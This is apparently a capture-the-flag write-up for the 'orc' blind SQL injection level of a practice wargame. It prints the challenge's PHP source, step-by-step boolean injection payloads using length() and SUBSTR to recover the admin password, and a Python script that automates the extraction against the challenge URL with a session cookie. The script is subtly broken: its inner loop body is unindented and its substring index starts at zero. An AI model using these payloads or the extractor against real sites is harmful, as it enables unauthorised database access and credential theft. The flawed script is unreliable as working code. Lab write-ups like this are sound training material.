Orc

Blind-boolean based, enumerate password

Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

Line 5: preg_match filters the string "prob", underscores, periods, and parenthesis.

Line 12: Query obtains a user-supplied value and assigns it to "pw",

Line 14: Then compares the user-supplied value to the "pw" value stored for the 'admin' user. If they are equal, the challenge will be solved.

Query

SELECT id FROM prob_orc WHERE id='admin' AND pw=''

Testing

Vulnerable parameter is "pw".

pw=' OR id='admin' returns "Hello admin" indicating a true statement.

Using "length"

The length of the string stored in "pw" can be derived using "length".

pw=' OR id='admin' AND length(pw)=1%23 returns nothing, indicating a false statement.

Incrementing the value sequentially eventually results in:

pw=' OR id='admin' AND length(pw)=8%23

which returns "Hello admin" indicating a true statement indicating the string is 8 characters long.

Using "SUBSTR"

By using "SUBSTR" the stored value can be guessed 1 character at a time.

pw=' OR id='admin' AND SUBSTR(pw, 1, 1)=0%23

  • id='admin': This part is setting the id parameter to the value 'admin'.

  • AND: Logical operator used to combine conditions in a SQL WHERE clause.

  • SUBSTR(pw, 1, 1)=0: This part is checking whether the first character of the pw (password) field is equal to 0.

  • %23: This is URL-encoded #.

In order to derive the stored value, each character can be enumerated individually by checking if the character in each start position is equal to a character in the charset: a-z0-9. Special characters should be included, but for the purpose of this challenge only alphanumeric is used.

This is a tedious process.

Previously it was discovered that the stored string is 8 characters long so the process will need to be done 8 times, once for each character.

Steps

Checking if the first character of stored value is equal to 0. pw=' OR id='admin' AND SUBSTR(pw, 1, 1)=0%23 returns "Hello admin" : True

2nd character is equal to '9'. pw=' OR id='admin' AND SUBSTR(pw, 2, 1)=9%23

3rd character is equal to '5'. pw=' OR id='admin' AND SUBSTR(pw, 3, 1)=5%23

4th character is equal to 'a'. pw=' OR id='admin' AND SUBSTR(pw, 4, 1)=a%23

5th character is equal to '9' pw=' OR id='admin' AND SUBSTR(pw, 5, 1)=9%23

6th character is equal to '8' pw=' OR id='admin' AND SUBSTR(pw, 6, 1)=8%23

7th character is equal to '5' pw=' OR id='admin' AND SUBSTR(pw, 7, 1)=5%23

8th character is equal to '2' pw=' OR id='admin' AND SUBSTR(pw, 8, 1)=2%23

Incrementing the start position as each character is guessed eventually reveals the value stored of 095a9852.

Finally, the challenge is solved with: pw=095a9852

Effective Query

SELECT id FROM prob_orc WHERE id='admin' AND pw='095a9852'

Python Script

import requests
import string
import urllib.parse

# Define constants
TARGET_URL = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="
COOKIE = {"PHPSESSID": "4qeps28bu02omhqapjte0rjerm"}

# Initialize variables
pw_length = 0
passwd = ""

# Determine password length
for length_guess in range(1, 9):
	url = TARGET_URL + urllib.parse.quote("' OR id='admin' AND length(pw)={}#".format(length_guess))
	response = requests.get(url, cookies=COOKIE)

	if "Hello admin" in response.text:
		print(f"pw length = {length_guess}")
		pw_length = length_guess

# Retrieve password
for x in range(pw_length + 1):
	for ascii_code in range(48, 122):
	url = TARGET_URL + "1' or id='admin' and " + urllib.parse.quote("substring(pw,{},1) = '{}".format(str(x), chr(ascii_code)))
	response = requests.get(url, cookies=COOKIE)

	if "Hello admin" in response.text:
		print(passwd)
		passwd += chr(ascii_code)
		break

# Print password
print(f"Password = {passwd}")

Last updated